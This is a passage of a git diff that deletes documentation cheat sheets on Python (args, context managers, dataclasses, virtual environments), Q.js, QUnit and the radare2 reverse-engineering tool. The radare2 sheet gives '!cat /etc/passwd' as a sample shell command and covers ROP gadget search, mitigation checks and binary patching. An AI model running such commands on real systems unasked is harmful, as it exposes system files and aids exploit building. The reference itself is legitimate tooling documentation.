-def forward(f, *args, **kwargs):
-    return f(*args, **kwargs)
-```
-
-Inside forward, args is a tuple (of all positional arguments except the first one, because we specified it - the f), kwargs is a dict. Then we call f and unpack them so they become normal arguments to f.
-
-You use `*args` when you have an indefinite amount of positional arguments.
-
-```python
->>> def fruits(*args):
->>>    for fruit in args:
->>>       print(fruit)
-
->>> fruits("apples", "bananas", "grapes")
-
-"apples"
-"bananas"
-"grapes"
-```
-
-Similarly, you use `**kwargs` when you have an indefinite number of keyword arguments.
-
-```python
->>> def fruit(**kwargs):
->>>    for key, value in kwargs.items():
->>>        print("{0}: {1}".format(key, value))
-
->>> fruit(name = "apple", color = "red")
-
-name: apple
-color: red
-```
-
-```python
->>> def show(arg1, arg2, *args, kwarg1=None, kwarg2=None, **kwargs):
->>>   print(arg1)
->>>   print(arg2)
->>>   print(args)
->>>   print(kwarg1)
->>>   print(kwarg2)
->>>   print(kwargs)
-
->>> data1 = [1,2,3]
->>> data2 = [4,5,6]
->>> data3 = {'a':7,'b':8,'c':9}
-
->>> show(*data1,*data2, kwarg1="python",kwarg2="cheatsheet",**data3)
-1
-2
-(3, 4, 5, 6)
-python
-cheatsheet
-{'a': 7, 'b': 8, 'c': 9}
-
->>> show(*data1, *data2, **data3)
-1
-2
-(3, 4, 5, 6)
-None
-None
-{'a': 7, 'b': 8, 'c': 9}
-
-# If you do not specify ** for kwargs
->>> show(*data1, *data2, *data3)
-1
-2
-(3, 4, 5, 6, "a", "b", "c")
-None
-None
-{}
-```
-
-### Things to Remember(args)
-
-1. Functions can accept a variable number of positional arguments by using `*args` in the def statement.
-2. You can use the items from a sequence as the positional arguments for a function with the `*` operator.
-3. Using the `*` operator with a generator may cause your program to run out of memory and crash.
-4. Adding new positional parameters to functions that accept `*args` can introduce hard-to-find bugs.
-
-### Things to Remember(kwargs)
-
-1. Function arguments can be specified by position or by keyword.
-2. Keywords make it clear what the purpose of each argument is when it would be confusing with only positional arguments.
-3. Keyword arguments with default values make it easy to add new behaviors to a function, especially when the function has existing callers.
-4. Optional keyword arguments should always be passed by keyword instead of by position.
-
-_Return to the Top_
-
-## Context Manager
-
-While Python's context managers are widely used, few understand the purpose behind their use. These statements, commonly used with reading and writing files, assist the application in conserving system memory and improve resource management by ensuring specific resources are only in use for certain processes.
-
-### with statement
-
-A context manager is an object that is notified when a context (a block of code) starts and ends. You commonly use one with the with statement. It takes care of the notifying.
-
-For example, file objects are context managers. When a context ends, the file object is closed automatically:
-
-```python
->>> with open(filename) as f:
->>>     file_contents = f.read()
-
-# the open_file object has automatically been closed.
-```
-
-Anything that ends execution of the block causes the context manager's exit method to be called. This includes exceptions, and can be useful when an error causes you to prematurely exit from an open file or connection. Exiting a script without properly closing files/connections is a bad idea, that may cause data loss or other problems. By using a context manager you can ensure that precautions are always taken to prevent damage or loss in this way.
-
-### Writing your own contextmanager using generator syntax
-
-It is also possible to write a context manager using generator syntax thanks to the `contextlib.contextmanager` decorator:
-
-```python
->>> import contextlib
->>> @contextlib.contextmanager
-... def context_manager(num):
-...     print('Enter')
-...     yield num + 1
-...     print('Exit')
->>> with context_manager(2) as cm:
-...     # the following instructions are run when the 'yield' point of the context
-...     # manager is reached.
-...     # 'cm' will have the value that was yielded
-...     print('Right in the middle with cm = {}'.format(cm))
-Enter
-Right in the middle with cm = 3
-Exit
-
->>>
-```
-
-_Return to the Top_
-
-## `__main__` Top-level script environment
-
-`__main__` is the name of the scope in which top-level code executes. A module's **name** is set equal to `__main__` when read from standard input, a script, or from an interactive prompt.
-
-A module can discover whether or not it is running in the main scope by checking its own `__name__`, which allows a common idiom for conditionally executing code in a module when it is run as a script or with `python -m` but not when it is imported:
-
-```python
->>> if __name__ == "__main__":
-...     # execute only if run as a script
-...     main()
-```
-
-For a package, the same effect can be achieved by including a **main**.py module, the contents of which will be executed when the module is run with -m
-
-For example we are developing script which is designed to be used as module, we should do:
-
-```python
->>> # Python program to execute function directly
->>> def add(a, b):
-...     return a+b
-...
->>> add(10, 20) # we can test it by calling the function save it as calculate.py
-30
->>> # Now if we want to use that module by importing we have to comment out our call,
->>> # Instead we can write like this in calculate.py
->>> if __name__ == "__main__":
-...     add(3, 5)
-...
->>> import calculate
->>> calculate.add(3, 5)
-8
-```
-
-### Advantages
-
-1. Every Python module has it's `__name__` defined and if this is `__main__`, it implies that the module is being run standalone by the user and we can do corresponding appropriate actions.
-2. If you import this script as a module in another script, the **name** is set to the name of the script/module.
-3. Python files can act as either reusable modules, or as standalone programs.
-4. if `__name__ == "main":` is used to execute some code only if the file was run directly, and not imported.
-
-_Return to the Top_
-
-## setup.py
-
-The setup script is the centre of all activity in building, distributing, and installing modules using the Distutils. The main purpose of the setup script is to describe your module distribution to the Distutils, so that the various commands that operate on your modules do the right thing.
-
-The `setup.py` file is at the heart of a Python project. It describes all of the metadata about your project. There a quite a few fields you can add to a project to give it a rich set of metadata describing the project. However, there are only three required fields: name, version, and packages. The name field must be unique if you wish to publish your package on the Python Package Index (PyPI). The version field keeps track of different releases of the project. The packages field describes where you've put the Python source code within your project.
-
-This allows you to easily install Python packages. Often it's enough to write:
-
-```bash
-python setup.py install
-```
-
-and module will install itself.
-
-Our initial setup.py will also include information about the license and will re-use the README.txt file for the long_description field. This will look like:
-
-```python
->>> from distutils.core import setup
->>> setup(
-...    name='pythonCheatsheet',
-...    version='0.1',
-...    packages=['pipenv',],
-...    license='MIT',
-...    long_description=open('README.txt').read(),
-... )
-```
-
-Find more information visit [http://docs.python.org/install/index.html](http://docs.python.org/install/index.html).
-
-_Return to the Top_
-
-## Dataclasses
-
-`Dataclasses` are python classes but are suited for storing data objects. This module provides a decorator and functions for automatically adding generated special methods such as `__init__()` and `__repr__()` to user-defined classes.
-
-### Features
-
-1. They store data and represent a certain data type. Ex: A number. For people familiar with ORMs, a model instance is a data object. It represents a specific kind of entity. It holds attributes that define or represent the entity.
-2. They can be compared to other objects of the same type. Ex: A number can be greater than, less than, or equal to another number.
-
-Python 3.7 provides a decorator dataclass that is used to convert a class into a dataclass.
-
-python 2.7
-
-```python
->>> class Number:
-...     def __init__(self, val):
-...         self.val = val
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-with dataclass
-
-```python
->>> @dataclass
-... class Number:
-...     val: int
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-_Return to the Top_
-
-### Default values
-
-It is easy to add default values to the fields of your data class.
-
-```python
->>> @dataclass
-... class Product:
-...     name: str
-...     count: int = 0
-...     price: float = 0.0
-...
->>> obj = Product("Python")
->>> obj.name
-Python
->>> obj.count
-0
->>> obj.price
-0.0
-```
-
-### Type hints
-
-It is mandatory to define the data type in dataclass. However, If you don't want specify the datatype then, use `typing.Any`.
-
-```python
->>> from dataclasses import dataclass
->>> from typing import Any
-
->>> @dataclass
-... class WithoutExplicitTypes:
-...    name: Any
-...    value: Any = 42
-...
-```
-
-_Return to the Top_
-
-## Virtual Environment
-
-The use of a Virtual Environment is to test python code in encapsulated environments and to also avoid filling the base Python installation with libraries we might use for only one project.
-
-_Return to the Top_
-
-### virtualenv
-
-1.  Install virtualenv
-
-    ```
-    pip install virtualenv
-    ```
-
-2.  Install virtualenvwrapper-win (Windows)
-
-    ```
-    pip install virtualenvwrapper-win
-    ```
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    mkvirtualenv HelloWold
-    ```
-
-    Anything we install now will be specific to this project. And available to the projects we connect to this environment.
-
-2.  Set Project Directory
-
-    To bind our virtualenv with our current working directory we simply enter:
-
-    ```
-    setprojectdir .
-    ```
-
-3.  Deactivate
-
-    To move onto something else in the command line type ‘deactivate' to deactivate your environment.
-
-    ```
-    deactivate
-    ```
-
-    Notice how the parenthesis disappear.
-
-4.  Workon
-
-    Open up the command prompt and type ‘workon HelloWold' to activate the environment and move into your root project folder
-
-    ```
-    workon HelloWold
-    ```
-
-_Return to the Top_
-
-### poetry
-
-> [Poetry](https://poetry.eustace.io) is a tool for dependency management and packaging in Python. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.
-
-1.  Install Poetry
-
-    ```
-    pip install --user poetry
-    ```
-
-2.  Create a new project
-
-    ```
-    poetry new my-project
-    ```
-
-    This will create a my-project directory:
-
-    ```
-    my-project
-    ├── pyproject.toml
-    ├── README.rst
-    ├── poetry_demo
-    │   └── __init__.py
-    └── tests
-        ├── __init__.py
-        └── test_poetry_demo.py
-    ```
-
-    The pyproject.toml file will orchestrate your project and its dependencies:
-
-    ```
-    [tool.poetry]
-    name = "my-project"
-    version = "0.1.0"
-    description = ""
-    authors = ["your name <your@mail.com>"]
-
-    [tool.poetry.dependencies]
-    python = "*"
-
-    [tool.poetry.dev-dependencies]
-    pytest = "^3.4"
-    ```
-
-3.  Packages
-
-    To add dependencies to your project, you can specify them in the tool.poetry.dependencies section:
-
-    ```
-    [tool.poetry.dependencies]
-    pendulum = "^1.4"
-    ```
-
-    Also, instead of modifying the pyproject.toml file by hand, you can use the add command and it will automatically find a suitable version constraint.
-
-    ```
-    $ poetry add pendulum
-    ```
-
-    To install the dependencies listed in the pyproject.toml:
-
-    ```
-    poetry install
-    ```
-
-    To remove dependencies:
-
-    ```
-    poetry remove pendulum
-    ```
-
-For more information, check the [documentation](https://poetry.eustace.io/docs/).
-
-_Return to the Top_
-
-### pipenv
-
-> [Pipenv](https://pipenv.readthedocs.io/en/latest/) is a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world. Windows is a first-class citizen, in our world.
-
-1.  Install pipenv
-
-    ```
-    pip install pipenv
-    ```
-
-2.  Enter your Project directory and install the Packages for your project
-
-    ```
-    cd my_project
-    pipenv install <package>
-    ```
-
-    Pipenv will install your package and create a Pipfile for you in your project's directory. The Pipfile is used to track which dependencies your project needs in case you need to re-install them.
-
-3.  Uninstall Packages
-
-    ```
-    pipenv uninstall <package>
-    ```
-
-4.  Activate the Virtual Environment associated with your Python project
-
-    ```
-    pipenv shell
-    ```
-
-5.  Exit the Virtual Environment
-
-    ```
-    exit
-    ```
-
-Find more information and a video in [docs.pipenv.org](https://docs.pipenv.org).
-
-_Return to the Top_
-
-### anaconda
-
-[Anaconda](https://anaconda.org) is another popular tool to manage python packages.
-
-> Where packages, notebooks, projects and environments are shared. Your place for free public conda package hosting.
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    conda create -n HelloWorld
-    ```
-
-2.  To use the Virtual Environment, activate it by:
-
-    ```
-    conda activate HelloWorld
-    ```
-
-    Anything installed now will be specific to the project HelloWorld
-
-3.  Exit the Virtual Environment
-
-    ```
-    conda deactivate
-    ```
-
-_Return to the Top_
-
-```
-
-```
diff --git a/docs/content/cheat-sheets/python.md b/docs/content/cheat-sheets/python.md
deleted file mode 100644
index 12fc47410b..0000000000
--- a/docs/content/cheat-sheets/python.md
+++ /dev/null
@@ -1,160 +0,0 @@
----
-title: Python
-category: Python
----
-
-### Lists
-
-    list = []
-    list[i:j]  # returns list subset
-    list[-1]   # returns last element
-    list[:-1]  # returns all but the last element
-
-    list[i] = val
-    list[i:j] = otherlist  # replace ith to jth-1 elements with otherlist
-    del list[i:j]
-
-    list.append(item)
-    list.extend(another_list)
-    list.insert(index, item)
-    list.pop()        # returns and removes last element from the list
-    list.pop(i)       # returns and removes i-th element from the list
-    list.remove(i)    # removes the first item from the list whose value is i
-    list1 + list2     # combine two list
-    set(list)         # remove duplicate elements from a list
-
-    list.reverse()    # reverses the elements of the list in-place
-    list.count(item)
-    sum(list)
-
-    zip(list1, list2)  # returns list of tuples with n-th element of both list1 and list2
-    list.sort()        # sorts in-place, returns None
-    sorted(list)       # returns sorted copy of list
-    ",".join(list)     # returns a string with list elements seperated by comma
-
-### Dict
-
-    dict.keys()
-    dict.values()
-    "key" in dict    # let's say this returns False, then...
-    dict["key"]      # ...this raises KeyError
-    dict.get("key")  # ...this returns None
-    dict.setdefault("key", 1)
-
-### Iteration
-
-    for item in ["a", "b", "c"]:
-    for i in range(4):        # 0 to 3
-    for i in range(4, 8):     # 4 to 7
-    for i in range(1, 9, 2):  # 1, 3, 5, 7
-    for key, val in dict.items():
-    for index, item in enumerate(list):
-
-### [String](https://docs.python.org/2/library/stdtypes.html#string-methods)
-
-    str[0:4]
-    len(str)
-
-    string.replace("-", " ")
-    ",".join(list)
-    "hi {0}".format('j')
-    f"hi {name}" # same as "hi {}".format('name')
-    str.find(",")
-    str.index(",")   # same, but raises IndexError
-    str.count(",")
-    str.split(",")
-
-    str.lower()
-    str.upper()
-    str.title()
-
-    str.lstrip()
-    str.rstrip()
-    str.strip()
-
-    str.islower()
-
-    /* escape characters */
-    >>> 'doesn\'t'  # use \' to escape the single quote...
-        "doesn't"
-    >>> "doesn't"  # ...or use double quotes instead
-        "doesn't"
-    >>> '"Yes," they said.'
-        '"Yes," they said.'
-    >>> "\"Yes,\" they said."
-        '"Yes," they said.'
-    >>> '"Isn\'t," they said.'
-        '"Isn\'t," they said.'
-
-### Casting
-
-    int(str)
-    float(str)
-    str(int)
-    str(float)
-    'string'.encode()
-
-### Comprehensions
-
-    [fn(i) for i in list]            # .map
-    map(fn, list)                    # .map, returns iterator
-
-    filter(fn, list)                 # .filter, returns iterator
-    [fn(i) for i in list if i > 0]   # .filter.map
-
-### Regex
-
-    import re
-
-    re.match(r'^[aeiou]', str)
-    re.sub(r'^[aeiou]', '?', str)
-    re.sub(r'(xyz)', r'\1', str)
-
-    expr = re.compile(r'^...$')
-    expr.match(...)
-    expr.sub(...)
-
-## File manipulation
-
-### Reading
-
-```py
-file = open("hello.txt", "r") # open in read mode 'r'
-file.close()
-```
-
-```py
-print(file.read())  # read the entire file and set the cursor at the end of file
-print file.readline() # Reading one line
-file.seek(0, 0) # place the cursor at the beggining of the file
-```
-
-### Writing (overwrite)
-
-```py
-file = open("hello.txt", "w") # open in write mode 'w'
-file.write("Hello World")
-
-text_lines = ["First line", "Second line", "Last line"]
-file.writelines(text_lines)
-
-file.close()
-```
-
-### Writing (append)
-
-```py
-file = open("Hello.txt", "a") # open in append mode
-file.write("Hello World again")
-file.close()
-```
-
-### Context manager
-
-```py
-with open("welcome.txt", "r") as file:
-    # 'file' refers directly to "welcome.txt"
-   data = file.read()
-
-# It closes the file automatically at the end of scope, no need for `file.close()`.
-```
diff --git a/docs/content/cheat-sheets/python_syntax.md b/docs/content/cheat-sheets/python_syntax.md
deleted file mode 100644
index 752ced9271..0000000000
--- a/docs/content/cheat-sheets/python_syntax.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# Python Syntax
-
-**Python Syntax compared to other programming languages**
-
--   Python was designed to for readability, and has some similarities to the English language with influence from mathematics.
--   Python uses new lines to complete a command, as opposed to other programming languages which often use semicolons or parentheses.
--   Python relies on indentation, using whitespace, to define scope; such as the scope of loops, functions and classes. Other programming languages often use curly-brackets for this purpose.
-
-## Python Indentations
-
-Where in other programming languages the indentation in code is for readability only, in Python the indentation is very important.
-
-Python uses indentation to indicate a block of code.
-
-```python
-if 5 > 2:
-  print("Five is greater than two!")
-```
-
-Python will give you an error if you skip the indentation.
-
-## Comments
-
-Python has commenting capability for the purpose of in-code documentation.
-
-Comments start with a `#`, and Python will render the rest of the line as a comment:
-
-```python
-#This is a comment.
-print("Hello, World!")
-```
-
-## Docstrings
-
-Python also has extended documentation capability, called docstrings.
-
-Docstrings can be one line, or multiline. Docstrings are also comments:
-
-Python uses triple quotes at the beginning and end of the docstring:
-
-```python
-"""This is a
-multiline docstring."""
-print("Hello, World!")
-```
-
-## References
-
--   [w3schools.com](https://www.w3schools.com/python/python_syntax.asp)
diff --git a/docs/content/cheat-sheets/qjs.md b/docs/content/cheat-sheets/qjs.md
deleted file mode 100644
index 9f89cdfa58..0000000000
--- a/docs/content/cheat-sheets/qjs.md
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: Q.js
-category: JavaScript libraries
----
-
-### Creating promises (Q.promise)
-
-    Q.promise (ok, fail) =>
-      asyncFunction ->
-        if error
-          fail new Error("Failure")
-        else
-          ok(data)
-
-### For arrays
-
-    promises = [saveDisk(), saveCloud()]
-
-    # When all succeeds, or *at least one* error
-    Q.all(promises).done ->
-      alert "Saved"
-
-    # Same, but get the values
-    Q.all(promises).spread (a, b) ->
-      alert "Result A:" + a
-      alert "Result B:" + b
-
-    # When all either succeeds or errors
-    Q.allSettled(promises).done -> ...
-
-### Creating promises from Node
-
-    # Works like .call() or .apply()
-
-    Q.nfcall(FS.readFile, 'foo.txt', 'utf-8')
-    .then -> ...
-
-    Q.nfapply(FS.readFile, ['foo.txt', 'utf-8'])
-    .then -> ...
-
-    Q.npost(FS, 'readFile', ['foo.txt, 'utf-8'])
-    .then -> ...
-
-    Q.npost(FS, 'readFile', 'foo.txt, 'utf-8')
-    .then -> ...
-
-    readFile = Q.denodeify(FS.readFile)
-    readFile('foo.txt').then -> ...
-
-### Promises to Node async
-
-    createUser = (next) ->
-      promiseMaker()
-      .nodeify(next)
-
-### Promise sugars
-
-    # Shortcut for .then(ok, fail, progress)
-    promise
-    .then (data) ->
-    .catch (err) ->
-    .progress (percent) ->
-
-### Try
-
-Q.try ->
-promise()
-
-.catch (e) ->
-console.error "Oh well", e
-
-### Reference
-
--   https://github.com/kriskowal/q/wiki/API-Reference
diff --git a/docs/content/cheat-sheets/qunit.md b/docs/content/cheat-sheets/qunit.md
deleted file mode 100644
index ecf5d8d42f..0000000000
--- a/docs/content/cheat-sheets/qunit.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: Qunit
-category: JavaScript libraries
-
-intro: |
-    A quick reference for the [QUnit](https://yarnpkg.com/package/qunit) testing library in JavaScript.
----
-
-```js
-QUnit.module('a');
-QUnit.test('ok', function (t) {
-    /* ... */
-});
-```
-
-### Hooks
-
-#### Each test
-
-```js
-// each test
-QUnit.testStart(function)
-QUnit.testEnd(function)
-```
-
-```js
-// each module
-QUnit.moduleStart(function)
-QUnit.moduleEnd(function)
-```
-
-```js
-// all
-QUnit.begin(function)
-QUnit.done(function)
-```
-
-### Assertions
-
-```js
-t.equal(actual, expected);
-t.deepEqual(actual, expected);
-t.strictEqual(actual, expected);
-t.propEqual(actual, expected);
-t.notEqual(actual, expected);
-t.expect(amount);
-```
diff --git a/docs/content/cheat-sheets/r2.md b/docs/content/cheat-sheets/r2.md
deleted file mode 100644
index 1367942969..0000000000
--- a/docs/content/cheat-sheets/r2.md
+++ /dev/null
@@ -1,937 +0,0 @@
-# Command Line options
-
-    -L: List of supported IO plugins
-
-    -q: Exit after processing commands
-
-    -w: Write mode enabled
-
-    -i: Interprets a r2 script
-
-    -A: Analize executable at load time (xrefs, etc)
-
-    -n: Bare load. Do not load executable info as the entrypoint
-
-    -c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main')
-
-    -p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project)
-
-    -: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512
-
----
-
-# Configuration properties
-
-    e: Returs configuration properties
-
-    e <property>: Checks a specific property:
-    		e asm.tabs => false
-
-    e <property>=<value>: Change property value
-    		e asm.arch=ppc
-
-    e? help about a configuration property
-    		e? cmd.stack
-
-    # Show comments at right of disassembly if they fit in screen
-    	e asm.cmtright=true
-
-    # Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok
-    	e asm.pseudo = true
-
-    # Display stack and register values on top of disasembly view (visual mode)
-    	e cmd.stack = true
-
-    # Solarized theme
-    	eco solarized
-
-    # Use UTF-8 to show cool arrows that do not look like crap :)
-    	e scr.utf8 = true
-
----
-
-# Basic Commands
-
-    ; Command chaining: x 3;s+3;pi 3;s+3;pxo 4;
-
-    | Pipe with shell commands: pd | less
-
-    ! Run shell commands: !cat /etc/passwd
-
-    !! Escapes to shell, run command and pass output to radare buffer
-
-    	Note: 	The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this
-    		command to launch it directly to the shell. A single one will walk through the io plugin list.
-
-    	` Radare commands: wx `!ragg2 -i exec`
-
-    ~ grep
-
-    ~! grep -v
-
-    ~[n] grep by columns afl~[0]
-
-    	~:n grep by rows afl~:0
-
-    <command>~.. less/more mode
-
-    +-------------------------------------------------------------------
-
-    pi~mov,eax            ; lines with mov or eax
-    	pi~mov&eax            ; lines with mov and eax
-    	pi~mov,eax:6          ; 6 first lines with mov or eax
-    	pd 20~call[0]:0       ; grep first column of the first row matching 'call'
-
-    +-------------------------------------------------------------------
-
-    .cmd Interprets command output
-
-    +-------------------------------------------------------------------
-
-    is* prints symbolos
-    .is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n)
-
-    +-------------------------------------------------------------------
-
-    .. repeats last commands (same as enter \n)
-
-    ( Used to define and run macros
-
-    $ Used to define alias
-
-    $$: Resolves to current address
-
-    Offsets (@) are absolute, we can use $$ for relative ones @ $$+4
-
-    ? Evaluate expression
-    +-------------------------------------------------------------------
-
-    [0x00000000]> ? 33 +2
-    35 0x23 043 0000:0023 35 00100011 35.0 0.000000
-    Note: | and & need to be escaped
-
-    +-------------------------------------------------------------------
-
-    ?$? Help for variables used in expressions
-
-    $$: Here
-
-    $s: File size
-
-    $b: Block size
-
-    $l: Opcode length
-
-    $j: When $$ is at a jmp, $j is the address where we are going to jump to
-
-    $f: Same for jmp fail address
-
-    $m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10)
-
-    ??? Help for ? command
-
-    ?i Takes input from stdin. Eg ?i username
-
-    ?? Result from previous operations
-
-    ?s from to [step]: Generates sequence from to every
-
-    ?p: Get physical address for given virtual address
-
-    ?P: Get virtual address for given physical one
-
-    ?v Show hex value of math expr
-
-    +-------------------------------------------------------------------
-
-    ?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d
-    ?v 0x4141414a - 0x41414140  = 0xa
-
-    +-------------------------------------------------------------------
-
-    ?l str: Returns the length of string
-
-    @@: Used for iteractions
-
-    +-------------------------------------------------------------------
-
-    wx ff @@10 20 30      Writes ff at offsets 10, 20 and 30
-    wx ff @@`?s  1 10 2`  Writes ff at offsets 1, 2 and 3
-    wx 90 @@ sym.*        Writes a nop on every symbol
-
-    +-------------------------------------------------------------------
-
-# Positioning
-
-    s address: Move cursor to address or symbol
-
-    s-5 (5 bytes backwards)
-
-    s- undo seek
-
-    s+ redo seek
-
-# Block Size
-
-    b size: Change block size
-
-# Analyze
-
-    aa: Analyze all (fcns + bbs) same that running r2 with -A
-
-    ahl <length> <range>: fake opcode length for a range of bytes
-
-    ad: Analyze data
-
-    ad@rsp (analize the stack)
-
-    + Normal mode
-
-    	af: Analyze functions
-
-    	afl: List all functions
-    			number of functions: afl~?
-
-    	afi: Returns information about the functions we are currently at
-
-    	afr: Rename function: structure and flag
-
-    	afr off: Restore function name set by r2
-
-    	afn: Rename function
-
-    	afn strlen 0x080483f0
-
-    	af-: Removes metadata generated by the function analysis
-
-    	af+: Define a function manually given the start address and length
-    		af+ 0xd6f 403 checker_loop
-
-    	axt: Returns cross references to (xref to)
-
-    	axf: Returns cross references from (xref from)
-
-    + Visual mode
-
-    	d, f: Function analysis
-
-    	d, u: Remove metadata generated by function analysis
-
-    + Opcode analysis
-
-    	ao x: Analize x opcodes from current offset
-
-    	a8 bytes: Analize the instruction represented by specified bytes
-
-# Information
-
-    	iI: File info
-
-    	iz: Strings in data section
-
-    	izz: Strings in the whole binary
-
-    	iS: Sections
-    		iS~w returns writable sections
-
-    	is: Symbols
-    		is~FUNC exports
-
-    	il: Linked libraries
-
-    	ii: Imports
-
-    	ie: Entrypoint
-
-    + Mitigations
-
-    	i~pic : check if the binary has position-independent-code
-
-    	i~nx : check if the binary has non-executable stack
-
-    	i~canary : check if the binary has canaries
-
-# Print
-
-    psz n @ offset: Print n zero terminated String
-
-    px n @ offset: Print hexdump (or just x) of n bytes
-
-    pxw n @ offset: Print hexdump of n words
-    	pxw size@offset  prints hexadecimal words at address
-
-    pd n @ offset: Print n opcodes disassambled
-
-    pD n @ offset: Print n bytes disassembled
-
-    pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions)
-
-    pdf @ offset: Print disassembled function
-    	pdf~XREF (grep: XREFs)
-    	pdf~call (grep: calls)
-
-    pcp n @ offset: Print n bytes in python string output.
-    	pcp 0x20@0x8048550
-    	import struct
-    	buf = struct.pack ("32B",
-    			0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00,
-    		0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20,
-    		0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz)
-
-    p8 n @ offset: Print n bytes (8bits) (no hexdump)
-
-    pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...)
-
-    pt: Interpret data as dates
-
-    pf: Print with format
-
-    pf.: list all formats
-
-    p=: Print entropy ascii graph
-
-# Write
-
-    wx: Write hex values in current offset
-    		wx 123456
-    		wx ff @ 4
-
-    wa: Write assembly
-    		wa jnz 0x400d24
-
-    wc: Write cache commit
-
-    wv: Writes value doing endian conversion and padding to byte
-
-    wo[x]: Write result of operation
-    		wow 11223344 @102!10
-        		write looped value from 102 to 102+10
-        		0x00000066  1122 3344 1122 3344 1122 0000 0000 0000
-
-    wox 0x90
-        	XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block)
-
-    wox 67 @4!10
-        	XOR from offset 4 to 10 with value 67
-
-    wf file: Writes the content of the file at the current address or specified offset (ASCII characters only)
-
-    wF file: Writes the content of the file at the current address or specified offset
-
-    wt file [sz]: Write to file (from current seek, blocksize or sz bytes)
-    		Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF)
-
-    woO 41424344 : get the index in the De Bruijn Pattern of the given word
-
-# Flags
-
-    f: List flags
-
-    f label @ offset: Define a flag `label` at offset
-    		f str.pass_len @ 0x804999c
-
-    f -label: Removes flag
-
-    fr: Rename flag
-
-    fd: Returns position from nearest flag (looking backwards). Eg => entry+21
-
-    fs: Show all flag spaces
-
-    fs flagspace: Change to the specified flag space
-
-    fe loop and create numbered flags:
-
-    	1. fs demo_flagspace
-    	2. fe demo_flagspace @@=`pdf~jne[1]`
-
-# Yank & Paste
-
-    y n: Copies n bytes from current position
-
-    y: Shows yank buffer contentent with address and length where each entry was copied from
-
-    yp: Prints yank buffer
-
-    yy offset: Paste the contents of the yank buffer at the specified offset
-
-    yt n target @ source: Yank to. Copy n bytes fromsource to target address
-
-# Visual Mode
-
-    q: Exits visual mode
-
-    hjkl: move around (or HJKL) (left-down-up-right)
-
-    o: go/seek to given offset
-
-    ?: Help
-
-    .: Seek EIP
-
-    <enter>: Follow address of the current jump/call
-
-    :cmd: Enter radare commands. Eg: x @ esi
-
-    d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it.
-    		dr: Rename a function
-    		df: Define a function
-
-    v: Get into the visual code analysis menu to edit/look closely at the current function.
-
-    p/P: Rotate print (visualization) modes
-    		hex, the hexadecimal view
-    		disasm, the disassembly listing
-        		Use numbers in [] to follow jump
-        		Use "u" to go back
-
-    	debug, the debugger
-    		words, the word-hexidecimal view
-    		buf, the C-formatted buffer
-    		annotated, the annotated hexdump.
-
-    c: Changes to cursor mode or exits the cursor mode
-    		select: Shift+[hjkl]
-    		i: Insert mode
-    		a: assembly inline
-    		A: Assembly in visual mode
-    		y: Copy
-    		Y: Paste
-    		f: Creates a flag where cursor points to
-    		<tab> in the hexdump view to toggle between hex and strings columns
-
-    V: View ascii-art basic block graph of current function
-
-    W: WebUI
-
-    x, X: XREFs to current function. ("u" to go back)
-
-    t: track flags (browse symbols, functions..)
-
-    gG: Begging or end of file
-
-    HUD
-    		_ Show HUD
-    		backspace: Exits HUD
-    		We can add new commands to HUD in: radare2/shlr/hud/main
-
-    ;[-]cmt: Add/remove comment
-
-    m<char>: Define a bookmark
-
-    '<char>: Go to previously defined bookmark
-
-# ROP
-
-    /R opcodes: Search opcodes
-
-    /R pop,pop,ret
-
-    /Rl opcodes: Search opcodes and print them in linear way
-
-    /Rl jmp eax,call ebx
-
-    /a: Search assembly
-
-    /a jmp eax
-
-    pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng
-
-    e search.roplen = 4  (change the depth of the search, to speed-up the hunt)
-
-# Searching
-
-    / bytes: Search bytes
-    		\x7fELF
-
-    +-------------------------------------------------------------------
-
-    push ebp
-    mov ebp, esp
-
-    Opcodes: 5589e5
-
-    /x 5589e5
-    	[# ]hits: 54c0f4 < 0x0804c600  hits = 1
-    		0x08049f70 hit0_0 5589e557565383e4f081ec
-    		0x0804c31a hit0_1 5589e583ec18c704246031
-    		0x0804c353 hit0_2 5589e583ec1889442404c7
-    		0x0804c379 hit0_3 5589e583ec08e87cffffff
-    		0x0804c3a2 hit0_4 5589e583ec18c70424302d
-
-    	pi 5 @@hit* (Print 5 first instructions of every hit)
-
-    +-------------------------------------------------------------------
-
-    Its possible to run a command for each hit. Use the cmd.hit property:
-
-    	e cmd.hit=px
-
-# Comments and defines
-
-    Cd [size]: Define as data
-
-    C- [size]: Define as code
-
-    Cs [size]: Define as String
-
-    Cf [size]: Define as struct
-    		We can define structures to be shown in the disassmbly
-
-    CC: List all comments or add a new comment in console mode
-    		C* Show all comments/metadata
-    		CC <comment> add new comment
-    		CC- remove comment
-
-# Magic files
-
-    pm: Print Magic files analysis
-    		[0x00000000]> pm
-    		0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1
-
-    /m [magicfile]: Search magic number headers with libmagic
-
-    search.align
-    search.from (0 = beginning)
-    search.to (0 = end)
-    search.asmstr
-    search.in
-
-# Yara
-
-    :yara scan
-
-# Zignatures
-
